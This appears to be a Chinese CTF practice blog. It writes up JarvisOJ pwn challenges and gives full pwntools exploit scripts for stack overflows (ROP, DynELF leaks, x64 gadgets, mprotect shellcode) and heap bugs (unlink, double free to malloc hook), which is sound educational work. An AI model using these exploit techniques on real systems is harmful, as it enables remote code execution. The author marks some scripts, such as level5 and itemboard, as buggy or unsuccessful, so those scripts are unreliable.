开始漫漫刷题之路

level4 - DynELF

题目给的东西很少,基本信息如下:

信息

main:

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

vulnerable_function:

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

return read(0, &buf, 0x100u);
}

保护:只开启了nx。

1
2
3
4
5
6
'/root/pwnprac/level4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

分析

read很明显会溢出,溢出到返回地址覆盖为system的地址即可,问题在于其地址的寻找,也就是该题的重点:DynELF。
最终思路就是因为可以不断的通过调用write函数来leak函数地址,使用dynelf可以通过泄露的地址确定libc版本来确定system地址。
/bin/sh则可以通过调用read来将其写入bss段,调用即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

#sh = process('./level4')
sh = remote('pwn2.jarvisoj.com',9880)
libc = ELF('./level4')

bss_add = libc.bss() //直接得到bss段地址

def leak(add): //leak函数
pay1 = 'a'*0x88 + 'bbbb' + p32(libc.symbols['write']) + p32(libc.symbols['vulnerable_function']) + p32(1) + p32(add) + p32(4)
sh.send(pay1)
data = sh.recv(4)
return data

#神奇DynELF工具使用
d = DynELF(leak,elf = ELF('./level4')) //初始化DynELF模块
sys_add = d.lookup('system','libc') //在libc文件中搜索system函数的地址

print hex(sys_add)

pay2 = 'a'*0x88 + 'bbbb' + p32(libc.symbols['read']) + p32(libc.symbols['vulnerable_function']) + p32(0) + p32(bss_add) + p32(8) //调用read

sh.send(pay2)
sh.send('/bin/sh\x00')

pay3 = 'a'*0x88 + 'bbbb' + p32(sys_add) + 'dead' + p32(bss_add)
sh.send(pay3)

sh.interactive()

获得shell

1
2
3
4
[*] Switching to interactive mode
$ whoami
ctf
$

参考:借助DynELF实现无libc的漏洞利用小结

level3_x64 - 64位参数传递

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

搞了一早上感觉思路完全没毛病,但是poc总是不能用,最终与网上的wp调试比对半天才发现在该文档下的libc-2.19.so文件不是该题的配套libc!!!!!应该是之前某个题的。。。心态爆炸
重新下载源文件,问题解决。。。

信息:

漏洞函数:明显的栈溢出

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);
}

思路:

整体思路与之前相同:泄露write函数got地址,然后通过调用write函数泄露write真实地址,之后system,/bin/sh什么的手到擒来。所以主要就是练习x64下的参数传递。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
#context.log_level = 'debug'

sh = remote('pwn2.jarvisoj.com',9883)
#sh = process('level3')
pwn = ELF('level3_x64')
libc = ELF('libc-2.19.so')

pop_rdi_ret = 0x004006b3 #pop rdi ; ret
pop_rsi_r15_ret = 0x004006b1 #pop rsi ; pop r15 ; ret

sys_libc_addr = libc.symbols['system']
binsh_libc_addr = libc.search('/bin/sh').next()

#----------To get write.got--------------#
pay1 = 'a'*0x80 + 'bbbbbbbb'
pay1 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(pwn.got['write']) + p64(1) //虽然找不到pop_rdx_ret,但是经调试,rdx值大于8,所以我们可以只接受前八个字符即可。
pay1 += p64(pwn.symbols['write']) + p64(pwn.symbols['vulnerable_function'])

sh.recvuntil("Input:\n")
sh.send(pay1)
write_addr = u64(sh.recv(8))

#---------call system func---------------#
sys_addr = write_addr - libc.symbols['write'] + sys_libc_addr
binsh_addr = write_addr - libc.symbols['write'] + binsh_libc_addr

pay2 = 'a'*0x80 + 'bbbbbbbb'
pay2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)

sh.send(pay2)
sh.interactive()

获得shell:

1
2
3
$ whoami
ctf
$

level5 - mmap && mprotect

信息

同level3_x64 , 假设system 和 execve 被禁用,使用mmap 及mprotect 获取shell

思路

先搞清楚mmap 与 mprotect:
mmap 就是分配堆内存的那个mmap,原函数为

1
2
#include<sys/mman.h>
void* mmap(void* addr, size_t len, int port, int flag, int filedes, off_t off);

mprotect,给addr开始的len长度的内存修改权限,原函数为

1
int mprotect(void *addr, size_t len, int prot);

所以可以将shellcode写入bss段之类的调用mprotect函数将其可执行,然后返回地址到shellcode处即可;
当然也可以mmap分配一段空间然后一样的操作。

exp

稍微有点问题。。但是找不到,莫得办法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context.log_level = 'debug'

#sh = remote('pwn2.jarvisoj.com',9884)
sh = process('level3_x64')
pwn = ELF('level3_x64')
libc = ELF('libc-2.19.so')

pop_rdi_ret = 0x004006b3 #pop rdi ; ret
pop_rsi_r15_ret = 0x004006b1 #pop rsi ; pop r15 ; ret


#----------To get write.got--------------#
sh.recv()
pay1 = 'a'*0x80 + 'bbbbbbbb'
pay1 += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(pwn.got['write']) + p64(0)
pay1 += p64(pwn.symbols['write']) + p64(pwn.symbols['vulnerable_function'])

sh.send(pay1)
#gdb.attach(sh)
write_addr = u64(sh.recv(8))
#gdb.attach(sh)
print "write_addr : " + hex(write_addr)

#----------to get mprotect.got and write shellcode to bss_addr------#

mprotect_got_addr = write_addr - libc.symbols['write'] + libc.symbols['mprotect']

print "mprotect_got_addr : "+ hex(mprotect_got_addr)

bss_addr = pwn.bss()

print "bss_addr : " + hex(bss_addr)

pay2 = 'a'*0x80 + 'bbbbbbbb'
pay2 += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0)
pay2 += p64(pwn.symbols['read']) + p64(pwn.symbols['vulnerable_function'])

sh.send(pay2)

shellcode = asm(shellcraft.sh())

sh.send(shellcode)

sh.recv()
#-------------------to write bss && mprotect to .got table----------------#


bss_got_addr = 0x600a80
mprotect_got_addr = 0x600a78

pay3 = 'a'*0x80 + 'bbbbbbbb'
pay3 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_got_addr) + p64(0) + p64(pwn.symbols['read'])
pay3 += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(mprotect_got_addr) + p64(0) + p64(pwn.symbols['read'])
pay3 += p64(pwn.symbols['vulnerable_function'])

sh.send(pay3)

sh.send(p64(bss_got_addr))

sh.send(p64(mprotect_got_addr))

gdb.attach(sh)
#---------------------------

init_start = 0x4006a6
init_end = 0x400690

pay4 = 'a'*0x80 + 'bbbbbbbb'
pay4 += p64(init_start) + 'bbbbbbbb'
pay4 += p64(0) #rbx
pay4 += p64(1) #rbp
pay4 += p64(mprotect_got_addr)
pay4 += p64(7) #r13->rdx
pay4 += p64(0x1000) #r14->rsi
pay4 += p64(0x600000) #r15->rdi

pay4 += p64(init_end) + 'bbbbbbbb'
pay4 += p64(0) + p64(1) + p64(bss_got_addr) + p64(0) + p64(0) + p64(0)
pay4 += p64(init_end)

sh.send(pay4)

sh.interactive()

level6 - 堆的unlink利用

正常的选项类型题

信息

main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main()
{
unsigned int v0; // eax

alarm_func();
main_ptr();
while ( 1 )
{
v0 = menu();
LABEL_3:
switch ( v0 )
{
case 1u:
list();
continue;
case 2u:
add();
continue;
case 3u:
edit();
continue;
case 4u:
delete();
v0 = menu();
if ( v0 > 5 )
goto LABEL_6;
goto LABEL_3;
case 5u:
puts("Bye");
return 0;
default:
LABEL_6:
puts("Invalid!");
break;
}
}
}

问题函数:
delete函数未检查inuse位,可以double free,且free完并未清空指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int delete()
{
int v0; // eax
int v1; // edx
int v3; // eax

if ( *(_DWORD *)(dword_804A2EC + 4) <= 0 )
return puts("No notes yet.");
printf("Note number: ");
v0 = get_num();
if ( v0 < 0 )
return puts("Invalid number!");
v1 = dword_804A2EC;
if ( v0 >= *(_DWORD *)dword_804A2EC )
return puts("Invalid number!");
--*(_DWORD *)(dword_804A2EC + 4);
v3 = v1 + 12 * v0;
*(_DWORD *)(v3 + 8) = 0;
*(_DWORD *)(v3 + 12) = 0;
free(*(void **)(v3 + 16));
return puts("Done.");
}

同时add与edit会对输入的大小进行(或许)与0x80的对齐,即向上对齐到0x80,0x100,0x180,0x200这样子。不过只需要输入申请大小的内容即可。

保护:(基本上不用看。。)

1
2
3
4
5
6
[*] '/root/pwnprac/freenote_x86'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

思路(有点迷)

首先分配5个大小为0x80的内存块(0,1,2,3,4),之后按顺序free掉3号与1号(这样1号内存的fd指针会指向3号),这样0号内存块就可以使用1号内存块的pre_size 与size 位,但我们可以
edit 0号内存块大小为0x90,目的是为了在对齐机制的情况下,系统会分配0x100大小的内存块,但因为需要输入申请内存大小的内容,所以只要0x90,即
刚好覆盖1号内存块的pre_size与size位,此时可以打印出1号内存块的fd指针,从而泄露出堆的基地址与0号内存的地址。
之后unlink,因为delete漏洞的存在,1号块可以double free,将0号块卸下。这样子就可以对0号块为所欲为。(不太懂怎么为所欲为的)

exp(待参透)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
#context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']

local = 0

if local:
cn = process("./freenote_x86")
bin = ELF("freenote_x86")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
cn = remote('pwn2.jarvisoj.com',9885)
bin = ELF("freenote_x86")
libc = ELF("libc-2.19.so")

def list_post():
pass

def add_post(length,content):
cn.sendline('2')
cn.recvuntil('Length')
cn.sendline(str(length))
cn.recvuntil('Enter')
cn.sendline(content)

def edit_post(idx,length,content):
cn.sendline('3')
cn.recvuntil('number')
cn.sendline(str(idx))
cn.recvuntil('Length')
cn.sendline(str(length))
cn.recvuntil('Enter')
cn.sendline(content)

def del_post(idx):
cn.sendline('4')
cn.recvuntil('number')
cn.sendline(str(idx))

#chunk_list=0x0804A2EC
#test=0x08048CC5

#-------init-------
for i in range(5):
add_post(0x80,str(i)*0x80)

del_post(3)
del_post(1)

pay = '0'*0x80 + 'a'*0x8
edit_post(0,0x88,pay)
#------------------


#--------leak----------
cn.sendline('1')
cn.recvuntil('a'*0x8)
leak_addr = u32(cn.recv(4))
cn.recv()
heap_base = leak_addr - 0xdb0#offset
chunk0_addr = heap_base + 0x18
success("leak_addr: "+hex(leak_addr))
success("heap_base: "+hex(heap_base))
success("chunk0_addr: "+hex(chunk0_addr))
#----------------------

#-------unlink--------
pay = p32(0x88) + p32(0x80) + p32(chunk0_addr-0xc) + p32(chunk0_addr-0x8) + '0'*(0x80-4*4)
pay += p32(0x80) + p32(0x88+0x88)
edit_post(0,len(pay),pay)
del_post(1)
#----------------------

#--------leak----------
pay = p32(2) + p32(1) + p32(0x88) + p32(chunk0_addr-0xc)
pay += p32(1)+p32(0x4)+p32(bin.got['strtol'])
pay += '\x00'*(0x88-len(pay))
edit_post(0,len(pay),pay)
cn.sendline('1')
cn.recvuntil('0. ')
cn.recvuntil('1. ')
strtol = cn.recvuntil('\x0a')[:-1]
cn.recv()
strtol = u32(strtol)
system = strtol - libc.symbols['strtol']+libc.symbols['system']
success("strtol: "+hex(strtol))
success("system: "+hex(system))
#----------------------

#--------hijack&getshell--------
edit_post(1,4,p32(system))
cn.sendline("$0")
#----------------------

cn.interactive()

获得shell

1
2
3
Your choice: $ whoami
ctf
$

itemboard

2019.2.28
一个重要的洞没有注意到,因此做的很麻烦,而且或许是因为one_gadget的条件不够,将其覆盖到malloc hook之后仍然无法getshell,不过也把这个做法记录下来

题目

功能 add list show remove

程序会在初始时malloc一块内存来存放之后的指针

add 会malloc(0x18),分别存放name,description,及单独的free函数的指针,之后再malloc(0x20),存放name,然后读取用户输入size,malloc(size)

list 会显示所有的item的name

show 显示用户想要显示的item的name 及description,没有检查inuse

remove()按序将特定的item的三个指针依次free,但是没有清空即UAF漏洞,同时可以因此double free,但因为add remove都是三个chunk在,所以会比较麻烦

分析

因为指针也在堆地区,同时用户可以自由选择des大小,所以想办法将之前的存放指针的地址给用户,就有了一定的泄露地址能力

也可以想办法将指针指向free后的smallbin,也可以泄露libc

double free 可以因此将chunk分配到heap以外,即可以将之伪造到malloc hook之上,覆盖为one_gadget

思路比较简单,但是执行起来复杂度高,且最后没有成功getshell

exp 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
#context.log_level = 'debug'
sh = process('./itemboard')
#sh =remote('pwn2.jarvisoj.com','9887')
elf = ELF('./itemboard')
libc = ELF('./libc-2.19.so')

def add(name,size,des):
sh.sendlineafter(':\n','1')
sh.sendlineafter('name?\n',name)
sh.sendlineafter('len?\n',str(size))
sh.sendlineafter('Description?\n',des)

def list():
sh.sendlineafter(':\n','2')


def show(idx):
sh.sendlineafter(':\n','3')
sh.sendlineafter('item?\n',str(idx))

def remove(idx):
sh.sendlineafter(':\n','4')
sh.sendlineafter('item?\n',str(idx))


add('a',0x20,'b'*0x10)
add('c',0x20,'d'*0x10)


add('e',0x10,'f'*9)
add('h',0x100,'i'*9)
add('A',0X60,'A')
add('B',0X60,'B')
add('f',0x100,'g'*0x90)

#----------leak heap base---------------------------
remove(1)
remove(0)

add('g',0,'')
show(1)
sh.recvuntil('Description:')
leak_addr = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))
heap_base = leak_addr-0x560
print 'heap_base: '+hex(heap_base)

#---------leak libc addr----------------------------
remove(3)
remove(0)
add('g',9,p64(heap_base+0x690))
show(1)
sh.recvuntil('Name:')
leak_addr = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))
main_arena = leak_addr - 88
libc_addr = main_arena - 0x3c4b20
one_gadget = libc_addr + 0xea36d #0x46428 #0xe9415
print 'main_arena: '+hex(main_arena)
print 'libc_addr: '+hex(libc_addr)
#gdb.attach(sh)
#--------double free to getshell-----------------
add('a',0x20,'a')
add('v',0x20,'v')

remove(4)
remove(5)
remove(4)
#gdb.attach(sh)
add('a'*8+p64(0x21),0x60,p64(main_arena-0x33))
add('\x00'*8,0x60,'\x00')
add('zz',0x60,'kkk')
gdb.attach(sh)
add('AAA',0x60,'c'*0x13+p64(one_gadget))
#gdb.attach(sh)
#add('a',0x100,'a')
#remove(3)
#remove(3)
sh.interactive()

inst_prof

神一般的题,google ctf质量真的不一般。。。

题目

开始一个无限循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
if ( write(1, "initializing prof...", 0x14uLL) == 20 )
{
sleep(5u);
alarm(0x1Eu);
if ( write(1, "ready\n", 6uLL) == 6 )
{
while ( 1 )
do_test();
}
}
exit(0);
}

重点do_test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int do_test()
{
_DWORD *v0; // rbx
char v1; // al
unsigned __int64 v2; // r12
unsigned __int64 buf; // [rsp+8h] [rbp-18h]

v0 = alloc_page();

*(_QWORD *)v0 = *(_QWORD *)&template;
v0[2] = *((_DWORD *)&template + 2);
v1 = *(&template + 14);
*((_WORD *)v0 + 6) = *((_WORD *)&template + 6);
*((_BYTE *)v0 + 14) = v1;


read_inst((__int64)v0 + 5); // 4 byte
make_page_executable(v0);

v2 = __rdtsc();
((void (__fastcall *)(_DWORD *))v0)(v0); // exec
buf = __rdtsc() - v2;

if ( write(1, &buf, 8uLL) != 8 )
exit(0);
return free_page(v0);
}
1
2
3
4
5
6
7
8
9
10
11
 template:                               ; DATA XREF: do_test+15↑o
.rodata:0000000000000C00 mov ecx, 1000h
.rodata:0000000000000C05
.rodata:0000000000000C05 loc_C05:
.rodata:0000000000000C05 nop
.rodata:0000000000000C06 nop
.rodata:0000000000000C07 nop
.rodata:0000000000000C08 nop <-----输入的四个字节在这里
.rodata:0000000000000C09 sub ecx, 1
.rodata:0000000000000C0C jnz short loc_C05
.rodata:0000000000000C0E retn

简单来说就是执行输入的四个字节0x1000次。。。。中间需要防止程序直接exit

分析

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import * 
context.arch='amd64'
dec_r14=asm('dec r14')+asm('ret')
inc_r14=asm('inc r14')+asm('ret')
mov_r14_rsp=asm('mov r14,rsp')+asm('ret')
mov_r14_rr14=asm('mov r14,[r14]')+asm('ret')
mov_rrsp_r14=asm('mov [rsp],r14')

debug=0
if debug:
p=process('./inst_prof') #gdb.attach(proc.pidof(p)[0])
offset=0xD691F-0x202B1
context.log_level='debug'
else:
#p = process('./inst_prof')
p=remote('pwn2.jarvisoj.com', 9893)
# offset=0xEA36D-0x21F45
offset=0x4647C-0x21F45
def exe(es):
p.send(es)
p.recvuntil('\x00\x00\x00')

p.recvuntil('initializing prof...')
p.recvuntil('ready')
exe(mov_r14_rsp)
for i in range(64):
exe(inc_r14)
exe(mov_r14_rr14)
t1=int(int(offset/0x1000)/2)
t2=offset-t1*0x1000*2
add_t1=asm('add r14,%d'%t1)
print(t1)
exe(add_t1)
exe(add_t1)
print('start inc!')
print(t2)
for i in range(t2):
exe(inc_r14)
p.send(mov_rrsp_r14)
p.interactive()